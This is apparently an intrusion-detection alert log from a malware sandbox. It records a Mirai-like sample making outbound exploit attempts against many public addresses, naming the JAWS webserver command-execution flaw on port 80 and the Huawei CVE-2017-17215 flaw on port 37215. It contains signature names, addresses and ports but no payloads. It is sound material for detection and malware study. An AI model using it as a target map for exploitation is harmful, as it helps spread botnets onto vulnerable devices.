                                                          2024-12-03T23:17:21.622791+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349122148.254.32.24780TCP
                                                          2024-12-03T23:17:21.622860+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234049620.187.81.3680TCP
                                                          2024-12-03T23:17:21.622860+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234049620.187.81.3680TCP
                                                          2024-12-03T23:17:21.623009+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355964132.135.3.20080TCP
                                                          2024-12-03T23:17:21.623009+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355964132.135.3.20080TCP
                                                          2024-12-03T23:17:21.631344+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342562169.72.148.5580TCP
                                                          2024-12-03T23:17:21.631344+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342562169.72.148.5580TCP
                                                          2024-12-03T23:17:21.631548+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358540104.72.84.16080TCP
                                                          2024-12-03T23:17:21.631548+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358540104.72.84.16080TCP
                                                          2024-12-03T23:17:21.631689+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234653613.14.252.17380TCP
                                                          2024-12-03T23:17:21.631689+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234653613.14.252.17380TCP
                                                          2024-12-03T23:17:21.631812+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2355474106.225.210.15880TCP
                                                          2024-12-03T23:17:21.631812+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2355474106.225.210.15880TCP
                                                          2024-12-03T23:17:21.631887+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235603057.229.219.12580TCP
                                                          2024-12-03T23:17:21.631887+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235603057.229.219.12580TCP
                                                          2024-12-03T23:17:21.632010+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354968190.73.255.20680TCP
                                                          2024-12-03T23:17:21.632010+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354968190.73.255.20680TCP
                                                          2024-12-03T23:17:21.649172+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354426146.133.236.25580TCP
                                                          2024-12-03T23:17:21.649172+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354426146.133.236.25580TCP
                                                          2024-12-03T23:17:21.662801+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345104147.157.58.10180TCP
                                                          2024-12-03T23:17:21.662801+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345104147.157.58.10180TCP
                                                          2024-12-03T23:17:21.663013+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233955872.215.35.3280TCP
                                                          2024-12-03T23:17:21.663013+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233955872.215.35.3280TCP
                                                          2024-12-03T23:17:21.663040+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345418118.50.187.080TCP
                                                          2024-12-03T23:17:21.663040+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345418118.50.187.080TCP
                                                          2024-12-03T23:17:21.663132+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235985860.87.131.16180TCP
                                                          2024-12-03T23:17:21.663132+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235985860.87.131.16180TCP
                                                          2024-12-03T23:17:21.663804+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234150867.54.13.15880TCP
                                                          2024-12-03T23:17:21.663804+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234150867.54.13.15880TCP
                                                          2024-12-03T23:17:21.669128+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235839441.199.73.6137215TCP
                                                          2024-12-03T23:17:21.678268+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234257072.0.76.14180TCP
                                                          2024-12-03T23:17:21.678268+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234257072.0.76.14180TCP
                                                          2024-12-03T23:17:21.678420+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352874133.20.108.17080TCP
                                                          2024-12-03T23:17:21.678420+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352874133.20.108.17080TCP
                                                          2024-12-03T23:17:21.684656+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357390197.16.92.11937215TCP
                                                          2024-12-03T23:17:21.840977+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335048156.49.30.17837215TCP
                                                          2024-12-03T23:17:21.841093+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233325441.231.149.6237215TCP
                                                          2024-12-03T23:17:21.850309+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235640441.205.232.24537215TCP
                                                          2024-12-03T23:17:21.865794+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234471841.198.9.21937215TCP
                                                          2024-12-03T23:17:22.044084+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346244156.91.63.10037215TCP
                                                          2024-12-03T23:17:22.044214+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234577841.47.88.8737215TCP
                                                          2024-12-03T23:17:22.044287+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235737441.155.36.9837215TCP
                                                          2024-12-03T23:17:22.053392+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235822641.101.112.13637215TCP
                                                          2024-12-03T23:17:22.053501+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233600041.18.246.17637215TCP
                                                          2024-12-03T23:17:22.059823+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358786156.137.46.13537215TCP
                                                          2024-12-03T23:17:22.059963+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234722241.143.113.9637215TCP
                                                          2024-12-03T23:17:22.069249+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344170197.142.170.9137215TCP
                                                          2024-12-03T23:17:22.100290+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234088841.223.16.7337215TCP
                                                          2024-12-03T23:17:22.100403+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356528156.178.217.737215TCP
                                                          2024-12-03T23:17:22.100460+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235185841.63.78.5337215TCP
                                                          2024-12-03T23:17:22.622622+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339398197.63.2.17637215TCP
                                                          2024-12-03T23:17:22.638443+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336564197.48.241.24237215TCP
                                                          2024-12-03T23:17:22.669170+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338534156.126.90.16437215TCP
                                                          2024-12-03T23:17:22.724907+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351034198.17.84.19880TCP
                                                          2024-12-03T23:17:22.724907+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351034198.17.84.19880TCP
                                                          2024-12-03T23:17:22.794112+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356144156.98.238.14037215TCP
                                                          2024-12-03T23:17:22.851506+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338922156.230.113.23437215TCP
                                                          2024-12-03T23:17:22.928424+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356052199.170.247.17480TCP
                                                          2024-12-03T23:17:22.928424+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356052199.170.247.17480TCP
                                                          2024-12-03T23:17:22.928537+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336600217.118.126.2580TCP
                                                          2024-12-03T23:17:22.928537+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336600217.118.126.2580TCP
                                                          2024-12-03T23:17:23.022184+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234856017.83.114.5980TCP
                                                          2024-12-03T23:17:23.022184+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234856017.83.114.5980TCP
                                                          2024-12-03T23:17:23.022465+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349368200.9.255.24380TCP
                                                          2024-12-03T23:17:23.022465+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349368200.9.255.24380TCP
                                                          2024-12-03T23:17:23.028555+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233284068.237.69.5280TCP
                                                          2024-12-03T23:17:23.028555+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233284068.237.69.5280TCP
                                                          2024-12-03T23:17:23.044118+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23466049.54.107.11780TCP
                                                          2024-12-03T23:17:23.044118+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23466049.54.107.11780TCP
                                                          2024-12-03T23:17:23.053626+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340924167.154.247.8080TCP
                                                          2024-12-03T23:17:23.053626+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340924167.154.247.8080TCP
                                                          2024-12-03T23:17:23.053760+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233439859.152.245.10180TCP
                                                          2024-12-03T23:17:23.053760+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233439859.152.245.10180TCP
                                                          2024-12-03T23:17:23.100438+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235054041.2.97.16137215TCP
                                                          2024-12-03T23:17:23.919431+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359018102.85.102.4580TCP
                                                          2024-12-03T23:17:23.919431+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359018102.85.102.4580TCP
                                                          2024-12-03T23:17:23.919791+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358110156.246.128.10237215TCP
                                                          2024-12-03T23:17:23.928409+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359490169.107.84.14280TCP
                                                          2024-12-03T23:17:23.928409+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359490169.107.84.14280TCP
                                                          2024-12-03T23:17:23.935330+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347718175.5.53.4580TCP
                                                          2024-12-03T23:17:23.935330+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347718175.5.53.4580TCP
                                                          2024-12-03T23:17:24.028682+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235347665.130.71.25580TCP
                                                          2024-12-03T23:17:24.028682+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235347665.130.71.25580TCP
                                                          2024-12-03T23:17:24.044230+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338242148.17.19.680TCP
                                                          2024-12-03T23:17:24.044230+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338242148.17.19.680TCP
                                                          2024-12-03T23:17:24.044412+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356660192.194.104.12780TCP
                                                          2024-12-03T23:17:24.044412+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356660192.194.104.12780TCP
                                                          2024-12-03T23:17:24.044572+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235954448.98.171.8380TCP
                                                          2024-12-03T23:17:24.044572+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235954448.98.171.8380TCP
                                                          2024-12-03T23:17:24.044656+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358272160.179.24.5980TCP
                                                          2024-12-03T23:17:24.044656+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358272160.179.24.5980TCP
                                                          2024-12-03T23:17:24.044772+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356232149.158.106.16180TCP
                                                          2024-12-03T23:17:24.044772+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356232149.158.106.16180TCP
                                                          2024-12-03T23:17:24.069028+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235137064.182.14.20580TCP
                                                          2024-12-03T23:17:24.069028+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235137064.182.14.20580TCP
                                                          2024-12-03T23:17:24.069121+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235245036.77.163.12280TCP
                                                          2024-12-03T23:17:24.069121+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235245036.77.163.12280TCP
                                                          2024-12-03T23:17:24.076041+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337712114.42.153.14780TCP
                                                          2024-12-03T23:17:24.076041+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337712114.42.153.14780TCP
                                                          2024-12-03T23:17:24.091110+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336996128.212.90.280TCP
                                                          2024-12-03T23:17:24.091110+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336996128.212.90.280TCP
                                                          2024-12-03T23:17:24.091428+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233308845.106.152.1580TCP
                                                          2024-12-03T23:17:24.091428+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233308845.106.152.1580TCP
                                                          2024-12-03T23:17:24.100365+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235757890.95.227.6980TCP
                                                          2024-12-03T23:17:24.100365+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235757890.95.227.6980TCP
                                                          2024-12-03T23:17:24.100487+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343542216.78.163.6480TCP
                                                          2024-12-03T23:17:24.100487+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343542216.78.163.6480TCP
                                                          2024-12-03T23:17:24.100668+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234218251.244.114.24180TCP
                                                          2024-12-03T23:17:24.100668+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234218251.244.114.24180TCP
                                                          2024-12-03T23:17:24.101025+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235426287.163.47.21680TCP
                                                          2024-12-03T23:17:24.101025+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235426287.163.47.21680TCP
                                                          2024-12-03T23:17:24.101083+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348104126.249.41.25180TCP
                                                          2024-12-03T23:17:24.101083+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348104126.249.41.25180TCP
                                                          2024-12-03T23:17:24.809843+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342266156.3.32.2837215TCP
                                                          2024-12-03T23:17:24.809899+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233370641.161.197.25437215TCP
                                                          2024-12-03T23:17:24.850446+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347702197.111.248.437215TCP
                                                          2024-12-03T23:17:24.850636+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353340197.195.235.25137215TCP
                                                          2024-12-03T23:17:25.068971+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233877487.74.156.24880TCP
                                                          2024-12-03T23:17:25.068971+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233877487.74.156.24880TCP
                                                          2024-12-03T23:17:25.084810+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233401486.230.71.13880TCP
                                                          2024-12-03T23:17:25.084810+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233401486.230.71.13880TCP
                                                          2024-12-03T23:17:25.091098+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333716221.237.234.2480TCP
                                                          2024-12-03T23:17:25.091098+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333716221.237.234.2480TCP
                                                          2024-12-03T23:17:25.100478+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359676164.250.97.5880TCP
                                                          2024-12-03T23:17:25.100478+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359676164.250.97.5880TCP
                                                          2024-12-03T23:17:25.100631+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235125259.231.219.16880TCP
                                                          2024-12-03T23:17:25.100631+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235125259.231.219.16880TCP
                                                          2024-12-03T23:17:25.100713+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348496133.105.5.13180TCP
                                                          2024-12-03T23:17:25.100713+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348496133.105.5.13180TCP
                                                          2024-12-03T23:17:25.101016+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354256180.81.127.24980TCP
                                                          2024-12-03T23:17:25.101016+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354256180.81.127.24980TCP
                                                          2024-12-03T23:17:25.101116+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359926158.156.176.17380TCP
                                                          2024-12-03T23:17:25.101116+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359926158.156.176.17380TCP
                                                          2024-12-03T23:17:25.903664+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360882210.148.55.280TCP
                                                          2024-12-03T23:17:25.903664+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360882210.148.55.280TCP
                                                          2024-12-03T23:17:25.903668+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234172693.178.74.3880TCP
                                                          2024-12-03T23:17:25.903668+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234172693.178.74.3880TCP
                                                          2024-12-03T23:17:25.903782+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235600439.139.178.11380TCP
                                                          2024-12-03T23:17:25.903782+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235600439.139.178.11380TCP
                                                          2024-12-03T23:17:25.919277+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233335299.236.37.7280TCP
                                                          2024-12-03T23:17:25.919277+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233335299.236.37.7280TCP
                                                          2024-12-03T23:17:25.919520+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233801447.68.81.7180TCP
                                                          2024-12-03T23:17:25.919520+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233801447.68.81.7180TCP
                                                          2024-12-03T23:17:25.919569+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235708891.247.3.16580TCP
                                                          2024-12-03T23:17:25.919569+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235708891.247.3.16580TCP
                                                          2024-12-03T23:17:25.919809+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343622136.115.63.14780TCP
                                                          2024-12-03T23:17:25.919809+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343622136.115.63.14780TCP
                                                          2024-12-03T23:17:25.919896+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334904150.215.250.19980TCP
                                                          2024-12-03T23:17:25.919896+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334904150.215.250.19980TCP
                                                          2024-12-03T23:17:25.928633+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23431009.153.33.1980TCP
                                                          2024-12-03T23:17:25.928633+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23431009.153.33.1980TCP
                                                          2024-12-03T23:17:25.928794+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350110101.86.137.25580TCP
                                                          2024-12-03T23:17:25.928794+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350110101.86.137.25580TCP
                                                          2024-12-03T23:17:25.928963+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333576103.28.100.23680TCP
                                                          2024-12-03T23:17:25.928963+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333576103.28.100.23680TCP
                                                          2024-12-03T23:17:25.929128+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343260198.240.8.24380TCP
                                                          2024-12-03T23:17:25.929128+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343260198.240.8.24380TCP
                                                          2024-12-03T23:17:25.934833+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334280217.254.243.9280TCP
                                                          2024-12-03T23:17:25.934833+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334280217.254.243.9280TCP
                                                          2024-12-03T23:17:25.934950+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348540181.221.158.480TCP
                                                          2024-12-03T23:17:25.934950+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348540181.221.158.480TCP
                                                          2024-12-03T23:17:25.944307+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235624496.107.155.22980TCP
                                                          2024-12-03T23:17:25.944307+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235624496.107.155.22980TCP
                                                          2024-12-03T23:17:25.959886+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233962212.160.192.4280TCP
                                                          2024-12-03T23:17:25.959886+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233962212.160.192.4280TCP
                                                          2024-12-03T23:17:25.966131+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235115278.144.131.21580TCP
                                                          2024-12-03T23:17:25.966131+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235115278.144.131.21580TCP
                                                          2024-12-03T23:17:25.966139+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235679075.74.72.9080TCP
                                                          2024-12-03T23:17:25.966139+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235679075.74.72.9080TCP
                                                          2024-12-03T23:17:25.966279+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356174173.220.212.13580TCP
                                                          2024-12-03T23:17:25.966279+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356174173.220.212.13580TCP
                                                          2024-12-03T23:17:25.966397+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234253047.95.27.2280TCP
                                                          2024-12-03T23:17:25.966397+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234253047.95.27.2280TCP
                                                          2024-12-03T23:17:25.966513+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235566224.208.155.180TCP
                                                          2024-12-03T23:17:25.966513+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235566224.208.155.180TCP
                                                          2024-12-03T23:17:25.966696+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350086143.78.20.9780TCP
                                                          2024-12-03T23:17:25.966696+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350086143.78.20.9780TCP
                                                          2024-12-03T23:17:25.967022+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344210156.26.242.19337215TCP
                                                          2024-12-03T23:17:25.975389+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351300101.134.192.18880TCP
                                                          2024-12-03T23:17:25.975389+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351300101.134.192.18880TCP
                                                          2024-12-03T23:17:25.975616+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354678163.53.252.6680TCP
                                                          2024-12-03T23:17:25.975616+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354678163.53.252.6680TCP
                                                          2024-12-03T23:17:25.975837+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234248889.11.195.12980TCP
                                                          2024-12-03T23:17:25.975837+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234248889.11.195.12980TCP
                                                          2024-12-03T23:17:25.975902+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235977420.91.194.4580TCP
                                                          2024-12-03T23:17:25.975902+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235977420.91.194.4580TCP
                                                          2024-12-03T23:17:25.976106+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2339944138.13.231.14780TCP
                                                          2024-12-03T23:17:25.976106+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2339944138.13.231.14780TCP
                                                          2024-12-03T23:17:25.976312+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2334476190.31.142.24780TCP
                                                          2024-12-03T23:17:25.976312+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2334476190.31.142.24780TCP
                                                          2024-12-03T23:17:25.976400+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2354584187.160.114.5380TCP
                                                          2024-12-03T23:17:25.976400+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2354584187.160.114.5380TCP
                                                          2024-12-03T23:17:25.976500+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347624190.9.83.12780TCP
                                                          2024-12-03T23:17:25.976500+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347624190.9.83.12780TCP
                                                          2024-12-03T23:17:25.976572+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333226122.201.47.1780TCP
                                                          2024-12-03T23:17:25.976572+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333226122.201.47.1780TCP
                                                          2024-12-03T23:17:25.981812+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347284197.97.198.2837215TCP
                                                          2024-12-03T23:17:25.991935+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343110169.52.180.7080TCP
                                                          2024-12-03T23:17:25.991935+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343110169.52.180.7080TCP
